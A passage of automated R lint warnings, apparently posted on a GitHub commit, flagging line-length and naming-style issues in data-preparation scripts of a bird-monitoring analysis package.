<U+200B>#   this.species <- subset(species, SpeciesGroupID == sample(species$SpeciesGroupID, 1))
    ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset.R:80:1:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset.R#L80) *style:* **lines should not be more than 80 characters.**
```r
<U+200B>    Value = c(scheme.id, range(observation$Year), diff(range(observation$Year)) + 1)
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation.R:9:1:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L9) *style:* **lines should not be more than 80 characters.**
```r
<U+200B>  source.channel, result.channel, raw.connection, attribute.connection, scheme.id
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation.R:18:3:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L18) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>  data.field.type <- odbc_get_multi_id(
  ^~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation.R:28:14:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L28) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>  data.field$TableName <- "tblWaarnemingPunt"
             ^~~~~~~~~
```
[R/prepare_dataset_observation.R:29:14:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L29) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>  data.field$PrimaryKey <- "WRPT_ID"
             ^~~~~~~~~~
```
[R/prepare_dataset_observation.R:30:14:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L30) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>  data.field$TypeID <- data.field.type$ID
             ^~~~~~
```
[R/prepare_dataset_observation.R:30:24:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L30) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>  data.field$TypeID <- data.field.type$ID
                       ^~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation.R:53:3:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L53) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>  data.field.type <- odbc_get_multi_id(
  ^~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation.R:65:26:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L65) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>      unique(observation$DatasourceID)
                         ^~~~~~~~~~~~
```
[R/prepare_dataset_observation.R:69:14:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L69) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>    TypeID = data.field.type$ID
             ^~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation.R:80:39:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L80) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>  data.field <- data.field[data.field$DatasourceID != result.datasource, ]
                                      ^~~~~~~~~~~~
```
[R/prepare_dataset_observation.R:84:1:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L84) *style:* **lines should not be more than 80 characters.**
```r
<U+200B>  main.location <- merge(main.location, data.field[, c("DatasourceID", "DatafieldID")])
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation.R:85:46:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L85) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>  main.location$Description <- main.location$ExternalCode
                                             ^~~~~~~~~~~~
```
[R/prepare_dataset_observation.R:96:1:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L96) *style:* **lines should not be more than 80 characters.**
```r
<U+200B>  database.id <- merge(database.id, data.field[, c("DatasourceID", "DatafieldID")])
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation.R:102:15:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L102) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>  observation$DatafieldID <- NULL
              ^~~~~~~~~~~
```
[R/prepare_dataset_observation.R:108:3:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L108) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>  location.group.id <- odbc_get_multi_id(
  ^~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation.R:117:3:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L117) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>  location.group.location <- data.frame(
  ^~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation.R:118:23:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L118) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>    LocationGroupID = location.group.id,
                      ^~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation.R:121:3:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L121) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>  location.group.location <- location.group.location[
  ^~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation.R:121:30:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L121) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>  location.group.location <- location.group.location[
                             ^~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation.R:122:1:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L122) *style:* **lines should not be more than 80 characters.**
```r
<U+200B>    order(location.group.location$LocationGroupID, location.group.location$LocationID),
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation.R:122:11:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L122) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>    order(location.group.location$LocationGroupID, location.group.location$LocationID),
          ^~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation.R:122:35:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L122) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>    order(location.group.location$LocationGroupID, location.group.location$LocationID),
                                  ^~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation.R:122:52:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L122) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>    order(location.group.location$LocationGroupID, location.group.location$LocationID),
                                                   ^~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation.R:122:76:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L122) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>    order(location.group.location$LocationGroupID, location.group.location$LocationID),
                                                                           ^~~~~~~~~~
```
[R/prepare_dataset_observation.R:125:12:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L125) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>    data = location.group.location,
           ^~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation.R:134:3:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L134) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>  data.field.type <- odbc_get_multi_id(
  ^~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation.R:147:14:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L147) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>    TypeID = data.field.type$ID
             ^~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation.R:158:39:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L158) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>  data.field <- data.field[data.field$DatasourceID != result.datasource, ]
                                      ^~~~~~~~~~~~
```
[R/prepare_dataset_observation.R:161:1:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L161) *style:* **lines should not be more than 80 characters.**
```r
<U+200B>    observation[, c("LocationID", "ExternalCode", "SubExternalCode", "DatasourceID")]
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation.R:163:15:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L163) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>  observation$ExternalCode <- NULL
              ^~~~~~~~~~~~
```
[R/prepare_dataset_observation.R:165:16:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L165) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>  sub.location$DatasourceID <- NULL
               ^~~~~~~~~~~~
```
[R/prepare_dataset_observation.R:166:16:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L166) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>  sub.location$TypeID <- NULL
               ^~~~~~
```
[R/prepare_dataset_observation.R:167:1:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L167) *style:* **lines should not be more than 80 characters.**
```r
<U+200B>  colnames(sub.location) <- gsub("^LocationID$", "ParentLocationID", colnames(sub.location))
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation.R:168:1:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L168) *style:* **lines should not be more than 80 characters.**
```r
<U+200B>  sub.location$Description <- paste(sub.location$ExternalCode, sub.location$SubExternalCode)
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation.R:168:50:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L168) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>  sub.location$Description <- paste(sub.location$ExternalCode, sub.location$SubExternalCode)
                                                 ^~~~~~~~~~~~
```
[R/prepare_dataset_observation.R:168:77:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L168) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>  sub.location$Description <- paste(sub.location$ExternalCode, sub.location$SubExternalCode)
                                                                            ^~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation.R:169:16:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L169) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>  sub.location$ExternalCode <- NULL
               ^~~~~~~~~~~~
```
[R/prepare_dataset_observation.R:185:15:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L185) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>  database.id$DatafieldID <- NULL
              ^~~~~~~~~~~
```
[R/prepare_dataset_observation.R:186:15:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L186) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>  database.id$TypeID <- NULL
              ^~~~~~
```
[R/prepare_dataset_observation.R:198:19:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L198) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>      observation$LocationID,
                  ^~~~~~~~~~
```
[R/prepare_dataset_observation.R:199:19:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L199) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>      observation$SubLocationID,
                  ^~~~~~~~~~~~~
```
[R/prepare_dataset_observation.R:203:1:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L203) *style:* **lines should not be more than 80 characters.**
```r
<U+200B>    c("DatasourceID", "ObservationID", "Stratum", "LocationID", "SubLocationID", "Year", "Period", "Weight", "Stratum")
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation.R:206:3:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L206) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>  location.group.location.sha <- write_delim_git(
  ^~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation.R:207:9:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L207) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>    x = location.group.location,
        ^~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation.R:212:1:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L212) *style:* **lines should not be more than 80 characters.**
```r
<U+200B>    x = observation[, c("DatasourceID", "ObservationID", "LocationID", "SubLocationID", "Year", "Period", "Weight", "Stratum")],
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation.R:220:38:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation.R#L220) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>    Fingerprint = c(observation.sha, location.group.location.sha),
                                     ^~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation_species.R:15:1:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation_species.R#L15) *style:* **lines should not be more than 80 characters.**
```r
<U+200B>  this.species, observation, result.channel, source.channel, raw.connection, scheme.id, first.year, last.year
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation_species.R:22:5:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation_species.R#L22) *style:* **Place a space before left parenthesis, except in a function call.**
```r
<U+200B>  if(nrow(this.species) != 1){
    ^
```
[R/prepare_dataset_observation_species.R:34:31:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation_species.R#L34) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>    species.id = this.species$ExternalCode,
                              ^~~~~~~~~~~~
```
[R/prepare_dataset_observation_species.R:43:35:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation_species.R#L43) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>  filename <- paste0(this.species$SpeciesGroupID, ".txt")
                                  ^~~~~~~~~~~~~~
```
[R/prepare_dataset_observation_species.R:46:5:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation_species.R#L46) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>    observation.species.sha <- NA
    ^~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation_species.R:58:33:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation_species.R#L58) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>      order(observation.species$ObservationID),
                                ^~~~~~~~~~~~~
```
[R/prepare_dataset_observation_species.R:61:5:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation_species.R#L61) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>    observation.species.sha <- write_delim_git(
    ^~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation_species.R:93:3:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation_species.R#L93) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>  model.set.id <- odbc_get_multi_id(
  ^~~~~~~~~~~~
```
[R/prepare_dataset_observation_species.R:117:1:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation_species.R#L117) *style:* **lines should not be more than 80 characters.**
```r
<U+200B>  analysis.package <- merge(version@AnalysisVersionRPackage, r.package)[, c("AnalysisVersion", "RPackageID")]
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation_species.R:128:1:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation_species.R#L128) *style:* **lines should not be more than 80 characters.**
```r
<U+200B>  colnames(analysis.version)[colnames(analysis.version) == "ID"] <- "AnalysisVersionID"
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation_species.R:129:1:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation_species.R#L129) *style:* **lines should not be more than 80 characters.**
```r
<U+200B>  colnames(analysis.version)[colnames(analysis.version) == "Description"] <- "AnalysisVersion"
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation_species.R:130:1:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation_species.R#L130) *style:* **lines should not be more than 80 characters.**
```r
<U+200B>  analysis.package <- merge(analysis.version, analysis.package)[, c("AnalysisVersionID", "RPackageID")]
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation_species.R:141:34:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation_species.R#L141) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>  version.id <- analysis.version$AnalysisVersionID
                                 ^~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation_species.R:150:1:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation_species.R#L150) *style:* **lines should not be more than 80 characters.**
```r
<U+200B>      Filename IN ('observation.txt', 'species.txt', 'speciesgroup.txt', 'locationgrouplocation.txt') AND
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation_species.R:153:1:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation_species.R#L153) *style:* **lines should not be more than 80 characters.**
```r
<U+200B>  location.ds <- sqlQuery(channel = result.channel, query = sql, stringsAsFactors = FALSE)
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation_species.R:153:18:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation_species.R#L153) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>  location.ds <- sqlQuery(channel = result.channel, query = sql, stringsAsFactors = FALSE)
                 ^~~~~~~~
```
[R/prepare_dataset_observation_species.R:154:55:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation_species.R#L154) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>  fingerprint <- sha1(sort(c(location.ds$Fingerprint, observation.species.sha)))
                                                      ^~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation_species.R:157:18:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation_species.R#L157) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>    ModelSetID = model.set.id,
                 ^~~~~~~~~~~~
```
[R/prepare_dataset_observation_species.R:164:35:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation_species.R#L164) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>    SpeciesGroupID = this.species$SpeciesGroupID,
                                  ^~~~~~~~~~~~~~
```
[R/prepare_dataset_observation_species.R:173:1:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation_species.R#L173) *style:* **lines should not be more than 80 characters.**
```r
<U+200B>    merge.field = c("ModelSetID", "LocationGroupID", "SpeciesGroupID", "AnalysisVersionID", "Fingerprint"),
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation_species.R:180:14:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation_species.R#L180) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>  if (!is.na(observation.species.sha)) {
             ^~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_observation_species.R:184:21:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_observation_species.R#L184) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>      Fingerprint = observation.species.sha,
                    ^~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_species.R:19:1:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_species.R#L19) *style:* **lines should not be more than 80 characters.**
```r
<U+200B>  species <- get_nbn_key_multi(species.list$Species, orders = c("la", "nl", "en"))
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_species.R:20:34:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_species.R#L20) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>  species$Description <- species$DutchName
                                 ^~~~~~~~~
```
[R/prepare_dataset_species.R:22:3:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_species.R#L22) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>  data.field.type <- data.frame(Description = "SourceSpecies")
  ^~~~~~~~~~~~~~~
```
[R/prepare_dataset_species.R:23:3:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_species.R#L23) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>  data.field.type <- odbc_get_multi_id(
  ^~~~~~~~~~~~~~~
```
[R/prepare_dataset_species.R:24:12:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_species.R#L24) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>    data = data.field.type,
           ^~~~~~~~~~~~~~~
```
[R/prepare_dataset_species.R:33:14:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_species.R#L33) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>  data.field$TypeID <- data.field.type$ID
             ^~~~~~
```
[R/prepare_dataset_species.R:33:24:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_species.R#L33) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>  data.field$TypeID <- data.field.type$ID
                       ^~~~~~~~~~~~~~~
```
[R/prepare_dataset_species.R:92:42:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_species.R#L92) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>  nbn.species$Description <- nbn.species$DutchName
                                         ^~~~~~~~~
```
[R/prepare_dataset_species.R:98:21:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_species.R#L98) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>        nbn.species$ScientificName[is.na(nbn.species$Description)],
                    ^~~~~~~~~~~~~~
```
